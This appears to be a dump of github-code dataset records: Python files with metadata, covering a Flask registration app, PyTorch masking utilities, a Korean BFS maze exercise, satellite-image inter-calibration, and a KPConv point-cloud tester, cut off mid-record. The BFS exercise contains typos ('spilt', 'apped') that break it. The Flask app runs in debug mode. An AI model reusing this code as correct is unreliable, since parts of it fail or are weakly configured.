print(\"THIS POST IS NOT A VIDEO\")\n\n\ndef main():\n    print(\"testing...\\n\")\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "HuzefaUsama25/youred-bot", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fake_useragent.UserAgent", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 39, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 55, "usage_type": "call"}, {"api_name": "os.system", "line_number": 80, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 96, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 130, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "34774926069", "text": "from flask import Flask,render_template,request,redirect,url_for\r\nimport sqlite3\r\nimport os\r\nfrom werkzeug.utils import secure_filename\r\napp=Flask(__name__)\r\nUPLOAD_FOLDER=\"static/upload\"\r\napp.config['UPLOAD_FOLDER']=UPLOAD_FOLDER\r\n@app.route('/')\r\ndef index():\r\n    return render_template('registerform.html')\r\n@app.route('/register',methods=['POST'])\r\ndef register():\r\n    if request.method==\"POST\":\r\n        name=request.form['name']\r\n        mobile=request.form['mobile']\r\n        gender=request.form.getlist('gender')\r\n        dob=request.form['date']\r\n        course=request.form['course']\r\n        lang = request.form.getlist('lang')\r\n        l=\"\"\r\n        for i in lang:\r\n            if i!=\"\":\r\n                l=l+\",\"+i\r\n        addr=request.form['address']\r\n        file=request.files['file']\r\n        file1=secure_filename(file.filename)\r\n        print(type(file))\r\n        print(type(name))\r\n        print(type(mobile))\r\n        print(type(gender))\r\n        print(type(dob),type(course),type(lang),type(addr),type(file1))\r\n\r\n\r\n        file.save(os.path.join(app.config['UPLOAD_FOLDER'],file1))\r\n        conn=sqlite3.connect(\"user.db\")\r\n        conn.execute(\"INSERT INTO student(name,mob,gender,dob,course,languages,address,profile)VALUES(?,?,?,?,?,?,?,?)\",(name,mobile,gender[0],dob,course,l,addr,file1))\r\n        conn.commit()\r\n        msg = \"Registration Done\"\r\n        return render_template('registerform.html',msg=msg)\r\n@app.route('/view')\r\ndef view():\r\n    conn=sqlite3.connect('user.db')\r\n    cur=conn.execute(\"SELECT * FROM student\")\r\n    rows=cur.fetchall()\r\n    return render_template('view.html',rows=rows)\r\n@app.route('/edit/<a>')\r\ndef edit(a):\r\n    conn=sqlite3.connect('user.db')\r\n    cur=conn.execute(\"SELECT * FROM student WHERE id=?\",(a,))\r\n    row=cur.fetchone()\r\n    return render_template('edit.html',row=row)\r\n\r\n@app.route('/update/<a>',methods=['POST'])\r\ndef update(a):\r\n    if request.method == \"POST\":\r\n        name = request.form['name']\r\n        mobile = request.form['mobile']\r\n        gender = request.form.getlist('gender')\r\n        dob = request.form['date']\r\n        course = request.form['course']\r\n        lang = request.form.getlist('lang')\r\n        l = \"\"\r\n        for i in lang:\r\n            if i != \"\":\r\n                l = l + \",\" + i\r\n        addr = request.form['address']\r\n\r\n\r\n        conn = sqlite3.connect(\"user.db\")\r\n        conn.execute(\"UPDATE student SET name=?,mob=?,gender=?,dob=?,course=?,languages=?,address=? WHERE id=?\",\r\n                     (name, mobile, gender[0], dob,  course,l, addr,a))\r\n        conn.commit()\r\n\r\n        return redirect(url_for('view'))\r\n@app.route('/delete/<a>')\r\ndef delete(a):\r\n    conn=sqlite3.connect('user.db')\r\n    conn.execute(\"DELETE FROM student WHERE id=?\",(a,))\r\n    conn.commit()\r\n    return redirect(url_for('view'))\r\nif __name__==\"__main__\":\r\n    app.run(debug=True)", "repo_name": "HMANWAR/registration", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 66, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 74, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "36245315124", "text": "import torch\n\n\ndef calculate_receptive_fields(kernel, padding, stride, input_shape):\n    receptive_fields = []\n\n    for i in range(len(kernel)):\n        field_indices = []\n        for j in range((input_shape[i] + 2 * padding[i] - kernel[i]) // stride[i] + 1):\n            start_idx = j * stride[i] - padding[i]\n            end_idx = start_idx + kernel[i]\n            field_indices.append((max(start_idx, 0), min(end_idx, input_shape[i])))\n        receptive_fields.append(field_indices)\n\n    return receptive_fields\n\n\ndef blackout_blocks(\n    input_tensor: torch.Tensor, mask: torch.Tensor, receptive_fields: torch.Tensor\n):\n    \"\"\"\n    Blackout blocks in the input tensor based on the mask and receptive fields.\n\n    :param input_tensor: The input tensor (shape: [batch, channels, depth, height, width])\n    :param mask: The mask tensor (same spatial dimensions as input_tensor)\n    :param receptive_fields: Receptive field ranges for each dimension\n    :return: Modified input tensor with blocks blacked out\n    \"\"\"\n    assert (\n        input_tensor.shape[2:] == mask.shape\n    ), \"Input tensor and mask must have the same spatial dimensions\"\n\n    # Iterate over each pixel in the mask\n    for d in range(mask.shape[0]):\n        for h in range(mask.shape[1]):\n            for w in range(mask.shape[2]):\n                if mask[d, h, w] == 0:\n                    # Determine the receptive field for this pixel\n                    d_start, d_end = receptive_fields[0][d]\n                    h_start, h_end = receptive_fields[1][h]\n                    w_start, w_end = receptive_fields[2][w]\n\n                    # Blackout the corresponding block in the input tensor\n                    input_tensor[:, :, d_start:d_end, h_start:h_end, w_start:w_end] = 0\n\n    return input_tensor\n", "repo_name": "simplexsigil/SlowFast", "sub_path": "tools/masking_utils.py", "file_name": "masking_utils.py", "file_ext": "py", "file_size_in_byte": 1779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.Tensor", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "11461072757", "text": "# bfs는 시작 지점에서 가까운 노드부터 차례대로 그래프의 모든 노드를 탐색합니다.\n# 상하좌우로 연결된 모든 노드로의 거리가 1로 동일합니다.\n# 따라서 (1,1) 지점부터 bfs를 수행하여 모든 노드의 최단 거리 값을 기록하면 해결할 수 있습니다.\n\nfrom collections import deque\n\n# N, M을 공백 기준으로 구분하여 입력받기\nn, m = map(int, input().spilt())\n\n# 2차원 리스트의 맵정보 입력 받기\ngraph = []\nfor i in range(n):\n    graph.append(list(map(int, input())))\n\n# 이동할 4가지 방향정의 ( 상하좌우)\ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\n\n\ndef bfs(x, y):\n    queue = deque()\n    queue.append((x, y))\n    # 큐가 빌 때까지 반복하기\n    while queue:\n        x, y = queue.popleft()\n        # 현재 위치에서 4가지 방향으로의 위치 확인\n        for i in range(4):\n            nx = x + dx[i]\n            ny = y + dy[i]\n\n            # 미로 찾기 공간을 벗어난 경우 무시\n            if nx < 0 or nx >= n or ny < 0 or ny >= m:\n                continue\n            # 벽인 경우 무시\n            if graph[nx][ny] == 0:\n                continue\n            # 해당노드를 처음 방문하는 경우에만 최단 거리 기록\n            if graph[nx][ny] == 1:\n                graph[nx][ny] = graph[x][y] + 1\n                queue.apped((nx, ny))\n    # 가장 오른쪽 아래까지의 최단 거리 반환\n    return graph[n - 1][m - 1]\n\n\nprint(bfs(0, 0))\n", "repo_name": "Aiden76005588/TIL-pythonAlgorithm", "sub_path": "파이썬코딩테스트/03.미로탈출.py", "file_name": "03.미로탈출.py", "file_ext": "py", "file_size_in_byte": 1503, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 21, "usage_type": "call"}]}
{"seq_id": "9582212495", "text": "import logging\n\nimport numpy as np\n\nfrom core.image_file import S2L_ImageFile\nfrom core.products.product import S2L_Product\nfrom s2l_processes.S2L_Process import S2L_Process\n\nlog = logging.getLogger(\"Sen2Like\")\n\nCOEFFICIENT = {\n    \"Sentinel-2B\": {\n        'B01': {'coef': [1.011, 0]},\n        'B02': {'coef': [1.011, 0]},\n        'B03': {'coef': [1.011, 0]},\n        'B04': {'coef': [1.011, 0]},\n        'B05': {'coef': [1.011, 0]},\n        'B06': {'coef': [1.011, 0]},\n        'B07': {'coef': [1.011, 0]},\n        'B08': {'coef': [1.011, 0]},\n        'B8A': {'coef': [1.011, 0]},\n    }\n}\n\nclass S2L_InterCalibration(S2L_Process):\n    \"\"\"\n    Coefficiant format example:\n    {\n        \"Sentinel-2B\": {\n            'B01': {'coef': [0.9959, -0.0002]},\n            'B02': {'coef': [0.9778, -0.004]},\n            'B03': {'coef': [1.0053, -0.0009]},\n            'B04': {'coef': [0.9765, 0.0009]},\n            'B8A': {'coef': [0.9983, -0.0001]},\n            'B11': {'coef': [0.9987, -0.0011]},\n            'B12': {'coef': [1.003, -0.0012]},\n        }\n    }\n    Currently possible mission names are : Sentinel-2B, Sentinel-2A, LANDSAT_8, LANDSAT_9\n    (It is the SPACECRAFT_NAME (for sentinel) or SPACECRAFT_ID (for landsats))\n    \"\"\"\n\n    def __init__(self, generate_intermediate_products: bool):\n        super().__init__(generate_intermediate_products)\n\n    def process(self, product: S2L_Product, image: S2L_ImageFile, band: str) -> S2L_ImageFile:\n        log.info('Start')\n\n        if product.mtl.mission in COEFFICIENT:\n            if float(product.mtl.processing_sw) < 4.0:\n                if band in COEFFICIENT[product.mtl.mission]:\n                    slope, offset = COEFFICIENT[product.mtl.mission][band]['coef']\n                else:\n                    log.info(\"No inter calibration coefficient defined for %s\", band)\n                    log.info('End')\n                    return image\n            else:\n                log.info(\"No inter calibration performed for Sentinel-2B Collection-1 products (PB >= 04.00) \")\n                log.info('End')\n                return image\n        else:\n            log.info(\"No inter calibration coefficient defined for %s mission\", product.mtl.mission)\n            log.info('End')\n            return image\n\n        if offset is not None and slope is not None:\n            log.debug(\"Applying InterCalibration : slope = %s, offset = %s\", slope, offset)\n            new = image.array\n            np.multiply(new, slope, out=new)\n            np.add(new, offset, out=new)\n            # transfer no data\n            new[image.array == 0] = 0\n            # Format Output : duplicate, link  to product as parameter\n            image = image.duplicate(self.output_file(product, band), array=new.astype(np.float32))\n            if self.generate_intermediate_products:\n                image.write(creation_options=['COMPRESS=LZW'])\n\n        log.info('End')\n        return image\n", "repo_name": "senbox-org/sen2like", "sub_path": "sen2like/sen2like/s2l_processes/S2L_InterCalibration.py", "file_name": "S2L_InterCalibration.py", "file_ext": "py", "file_size_in_byte": 2916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 71, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "s2l_processes.S2L_Process.S2L_Process", "line_number": 25, "usage_type": "name"}, {"api_name": "core.products.product.S2L_Product", "line_number": 46, "usage_type": "name"}, {"api_name": "core.image_file.S2L_ImageFile", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.multiply", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 74, "usage_type": "attribute"}]}
{"seq_id": "11756542185", "text": "# Code base on\n# @article{thomas2019KPConv,\n#     Author = {Thomas, Hugues and Qi, Charles R. and Deschaud, Jean-Emmanuel and Marcotegui, Beatriz and Goulette, Fran{\\c{c}}ois and Guibas, Leonidas J.},\n#     Title = {KPConv: Flexible and Deformable Convolution for Point Clouds},\n#     Journal = {Proceedings of the IEEE International Conference on Computer Vision},\n#     Year = {2019}\n# }\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n#           Imports and global variables\n#       \\**********************************/\n#\n\n\n# Basic libs\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom os import makedirs, listdir\nfrom os.path import exists, join\nimport time\nimport json\nfrom sklearn.neighbors import KDTree\n\n# PLY reader\nfrom utils.ply import read_ply, write_ply\n\n# Metrics\nfrom utils.metrics import IoU_from_confusions, fast_confusion\nfrom sklearn.metrics import confusion_matrix\n\n#from utils.visualizer import show_ModelNet_models\n\nfrom mvpnet.utils.visualize import *\nimport open3d as o3d\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n#           Tester Class\n#       \\******************/\n#\n\n\nclass ModelTester:\n\n    # Initialization methods\n    # ------------------------------------------------------------------------------------------------------------------\n\n    def __init__(self, net, chkp_path=None, on_gpu=True):\n\n        ############\n        # Parameters\n        ############\n\n        # Choose to train on CPU or GPU\n        if on_gpu and torch.cuda.is_available():\n            self.device = torch.device(\"cuda:0\")\n        else:\n            self.device = torch.device(\"cpu\")\n        net.to(self.device)\n\n        ##########################\n        # Load previous checkpoint\n        ##########################\n\n        checkpoint = torch.load(chkp_path)\n        net.load_state_dict(checkpoint['model_state_dict'])\n        self.epoch = checkpoint['epoch']\n        net.eval()\n        print(\"Model and training state restored.\")\n\n        return\n\n    # Test main methods\n    # ------------------------------------------------------------------------------------------------------------------\n\n\n    def cloud_segmentation_test(self, net, test_loader, config, num_votes=30, debug=False): #num_votes=100 #30 best， #20 best\n        \"\"\"\n        Test method for cloud segmentation models\n        \"\"\"\n\n        ############\n        # Initialize\n        ############\n\n        # Choose test smoothing parameter (0 for no smothing, 0.99 for big smoothing)\n        test_smooth = 0.95\n        test_radius_ratio = 0.7\n        softmax = torch.nn.Softmax(1)\n\n        # Number of classes including ignored labels\n        nc_tot = test_loader.dataset.num_classes\n\n        # Number of classes predicted by the model\n        nc_model = config.num_classes\n\n        # Initiate global prediction over test clouds\n        self.test_probs = [np.zeros((l.shape[0], nc_model)) for l in test_loader.dataset.input_labels]\n\n        # Test saving path\n        if config.saving:\n            test_path = join('test', config.saving_path.split('/')[-1])\n            if not exists(test_path):\n                makedirs(test_path)\n            if not exists(join(test_path, 'predictions')):\n                makedirs(join(test_path, 'predictions'))\n            if not exists(join(test_path, 'probs')):\n                makedirs(join(test_path, 'probs'))\n            if not exists(join(test_path, 'potentials')):\n                makedirs(join(test_path, 'potentials'))\n        else:\n            test_path = None\n\n        # If on validation directly compute score\n        if test_loader.dataset.set == 'validation':\n            val_proportions = np.zeros(nc_model, dtype=np.float32)\n            i = 0\n            for label_value in test_loader.dataset.label_values:\n                if label_value not in test_loader.dataset.ignored_labels:\n                    val_proportions[i] = np.sum([np.sum(labels == label_value)\n                                                 for labels in test_loader.dataset.validation_labels])\n                    i += 1\n        else:\n            val_proportions = None\n\n        #####################\n        # Network predictions\n        #####################\n\n        test_epoch = 0\n        last_min = -0.5\n\n        t = [time.time()]\n        last_display = time.time()\n        mean_dt = np.zeros(1) #2\n\n        # Start test loop\n        while True:\n            print('Initialize workers')\n            for i, batch in enumerate(test_loader):\n\n                # New time\n                t = t[-1:]\n                t += [time.time()]\n\n                if i == 0:\n                    print('Done in {:.1f}s'.format(t[1] - t[0]))\n\n                if 'cuda' in self.device.type:\n                    batch.to(self.device)\n\n                # Forward pass\n                outputs = net(batch, config)\n\n                t += [time.time()]\n\n                # Get probs and labels\n                stacked_probs = softmax(outputs).cpu().detach().numpy()\n                s_points = batch.points[0].cpu().numpy()\n                lengths = batch.lengths[0].cpu().numpy()\n                in_inds = batch.input_inds.cpu().numpy()\n                cloud_inds = batch.cloud_inds.cpu().numpy()\n                torch.cuda.synchronize(self.device)\n\n                # Get predictions and labels per instance\n                # ***************************************\n\n                i0 = 0\n                for b_i, length in enumerate(lengths):\n\n                    # Get prediction\n                    points = s_points[i0:i0 + length]\n                    probs = stacked_probs[i0:i0 + length]\n                    inds = in_inds[i0:i0 + length]\n                    c_i = cloud_inds[b_i]\n\n                    if 0 < test_radius_ratio < 1:\n                        mask = np.sum(points ** 2, axis=1) < (test_radius_ratio * config.in_radius) ** 2\n                        inds = inds[mask]\n                        probs = probs[mask]\n\n                    # Update current probs in whole cloud\n                    self.test_probs[c_i][inds] = test_smooth * self.test_probs[c_i][inds] + (1 - test_smooth) * probs\n                    i0 += length\n\n                # Average timing\n                t += [time.time()]\n                if i < 2:\n                    mean_dt = np.array(t[1:]) - np.array(t[:-1])\n                else:\n                    mean_dt = 0.9 * mean_dt + 0.1 * (np.array(t[1:]) - np.array(t[:-1]))\n\n                # Display\n                if (t[-1] - last_display) > 1.0:\n                    last_display = t[-1]\n                    message = 'e{:03d}-i{:04d} => {:.1f}% (timings : {:4.2f} {:4.2f} {:4.2f})'\n                    print(message.format(test_epoch, i,\n                                         100 * i / config.validation_size,\n                                         1000 * (mean_dt[0]),\n                                         1000 * (mean_dt[1]),\n                                         1000 * (mean_dt[2])))\n\n            # Update minimum od potentials\n            new_min = torch.min(test_loader.dataset.min_potentials)\n            print('Test epoch {:d}, end. Min potential = {:.1f}'.format(test_epoch, new_min))\n            #print([np.mean(pots) for pots in test_loader.dataset.potentials])\n\n            # Save predicted cloud\n            if last_min + 1 < new_min:\n\n                # Update last_min\n                last_min += 1\n\n                # Show vote results (On subcloud so it is not the good values here)\n                if test_loader.dataset.set == 'validation':\n                    print('\\nConfusion on sub clouds')\n                    Confs = []\n                    for i, file_path in enumerate(test_loader.dataset.files):\n\n                        # Insert false columns for ignored labels\n                        probs = np.array(self.test_probs[i], copy=True)\n                        for l_ind, label_value in enumerate(test_loader.dataset.label_values):\n                            if label_value in test_loader.dataset.ignored_labels:\n                                probs = np.insert(probs, l_ind, 0, axis=1)\n\n                        # Predicted labels\n                        preds = test_loader.dataset.label_values[np.argmax(probs, axis=1)].astype(np.int32)\n\n                        # Targets\n                        targets = test_loader.dataset.input_labels[i]\n\n                        # Confs\n                        # Confs += [fast_confusion(targets, preds, test_loader.dataset.label_values)]\n                        Confs += [confusion_matrix(targets, preds, labels=test_loader.dataset.label_values)]\n\n                    # Regroup confusions\n                    C = np.sum(np.stack(Confs), axis=0).astype(np.float32)\n\n                    # Remove ignored labels from confusions\n                    for l_ind, label_value in reversed(list(enumerate(test_loader.dataset.label_values))):\n                        if label_value in test_loader.dataset.ignored_labels:\n                            C = np.delete(C, l_ind, axis=0)\n                            C = np.delete(C, l_ind, axis=1)\n\n                    # Rescale with the right number of point per class\n                    C *= np.expand_dims(val_proportions / (np.sum(C, axis=1) + 1e-6), 1)\n\n                    # Compute IoUs\n                    IoUs = IoU_from_confusions(C)\n                    mIoU = np.mean(IoUs)\n                    s = '{:5.2f} | '.format(100 * mIoU)\n                    for IoU in IoUs:\n                        s += '{:5.2f} '.format(100 * IoU)\n                    print(s + '\\n')\n\n                # Save real IoU once in a while\n                if int(np.ceil(new_min)) % 10 == 0:\n\n                    # Project predictions\n                    print('\\nReproject Vote #{:d}'.format(int(np.floor(new_min))))\n                    t1 = time.time()\n                    proj_probs = []\n                    for i, file_path in enumerate(test_loader.dataset.files):\n\n                        print(i, file_path['scan_id'], test_loader.dataset.test_proj[i].shape, self.test_probs[i].shape)\n\n                        print(test_loader.dataset.test_proj[i].dtype, np.max(test_loader.dataset.test_proj[i]))\n                        print(test_loader.dataset.test_proj[i][:5])\n\n                        # Reproject probs on the evaluations points\n                        probs = self.test_probs[i][test_loader.dataset.test_proj[i], :]\n                        proj_probs += [probs]\n\n                    t2 = time.time()\n                    print('Done in {:.1f} s\\n'.format(t2 - t1))\n\n                    # Show vote results\n                    if test_loader.dataset.set == 'validation':\n                        print('Confusion on full clouds')\n                        t1 = time.time()\n                        Confs = []\n                        for i, file_path in enumerate(test_loader.dataset.files):\n\n                            # Insert false columns for ignored labels\n                            for l_ind, label_value in enumerate(test_loader.dataset.label_values):\n                                if label_value in test_loader.dataset.ignored_labels:\n                                    proj_probs[i] = np.insert(proj_probs[i], l_ind, 0, axis=1)\n\n                            # Get the predicted labels\n                            preds = test_loader.dataset.label_values[np.argmax(proj_probs[i], axis=1)].astype(np.int32)\n\n                            # Confusion\n                            targets = test_loader.dataset.validation_labels[i]\n                            # Confs += [fast_confusion(targets, preds, test_loader.dataset.label_values)]\n                            Confs += [confusion_matrix(targets, preds, labels=test_loader.dataset.label_values)]\n\n                        t2 = time.time()\n                        print('Done in {:.1f} s\\n'.format(t2 - t1))\n\n                        # Regroup confusions\n                        C = np.sum(np.stack(Confs), axis=0)\n\n                        # Remove ignored labels from confusions\n                        for l_ind, label_value in reversed(list(enumerate(test_loader.dataset.label_values))):\n                            if label_value in test_loader.dataset.ignored_labels:\n                                C = np.delete(C, l_ind, axis=0)\n                                C = np.delete(C, l_ind, axis=1)\n\n                        IoUs = IoU_from_confusions(C)\n                        mIoU = np.mean(IoUs)\n                        s = '{:5.2f} | '.format(100 * mIoU)\n                        for IoU in IoUs:\n                            s += '{:5.2f} '.format(100 * IoU)\n                        print('-' * len(s))\n                        print(s)\n                        print('-' * len(s) + '\\n')\n\n                    # Save predictions\n                    print('Saving clouds')\n                    t1 = time.time()\n                    for i, file_path in enumerate(test_loader.dataset.files):\n\n                        # Get file\n                        points = test_loader.dataset.load_evaluation_points(file_path)\n\n                        # Get the predicted labels\n                        preds = test_loader.dataset.label_values[np.argmax(proj_probs[i], axis=1)].astype(np.int32)\n\n                        # Get the ground truth labels\n                        # true_label = test_loader.dataset.validation_labels[i]\n\n                        # Save plys\n                        cloud_name = file_path['scan_id']\n                        test_name = join(test_path, 'predictions', cloud_name)\n                        write_ply(test_name,\n                                  [points, preds],\n                                  ['x', 'y', 'z', 'preds'])\n                        #visualize prediction\n                        o3d.io.write_point_cloud(test_name+'_visualize.ply',\n                                                 pc_with_labels(points, preds, style='scannet'))\n                        # visualize ground truth\n                        # o3d.io.write_point_cloud(test_name + '_ground_truth.ply',\n                        #                          pc_with_labels(points, true_label, style='scannet'))\n\n                        test_name2 = join(test_path, 'probs', cloud_name)\n                        prob_names = ['_'.join(test_loader.dataset.label_to_names[label].split())\n                                      for label in test_loader.dataset.label_values]\n                        write_ply(test_name2,\n                                  [points, proj_probs[i]],\n                                  ['x', 'y', 'z'] + prob_names)\n\n                        # Save potentials\n                        pot_points = np.array(test_loader.dataset.pot_trees[i].data, copy=False)\n                        pot_name = join(test_path, 'potentials', cloud_name)\n                        pots = test_loader.dataset.potentials[i].numpy().astype(np.float32)\n                        write_ply(pot_name,\n                                  [pot_points.astype(np.float32), pots],\n                                  ['x', 'y', 'z', 'pots'])\n\n                        # Save ascii preds\n                        if test_loader.dataset.set == 'test':\n                            ascii_name = join(test_path, 'predictions', cloud_name[:-4] + '.txt')\n                            np.savetxt(ascii_name, preds, fmt='%d')\n\n                    t2 = time.time()\n                    print('Done in {:.1f} s\\n'.format(t2 - t1))\n\n            test_epoch += 1\n\n            # Break when reaching number of desired votes\n            if last_min > num_votes:\n                break\n\n        return\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "dcy0577/Enhancing-3D-Point-Cloud-Segmentation-Using-Multi-Modal-Fusion-with-2D-Images", "sub_path": "KPConv-PyTorch/utils/tester.py", "file_name": "tester.py", "file_ext": "py", "file_size_in_byte": 15716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.cuda.is_available", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 105, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 122, "usage_type": "call"}, {"api_name": "time.time", "line_number": 135, "usage_type": "call"}, {"api_name": "time.time", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 137, "usage_type": "call"}, {"api_name": "time.time", "line_number": 146, "usage_type": "call"}, {"api_name": "time.time", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.cuda.synchronize", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 165, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 180, "usage_type": "call"}, {"api_name": "time.time", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 229, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 239, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 244, "usage_type": "call"}, {"api_name": 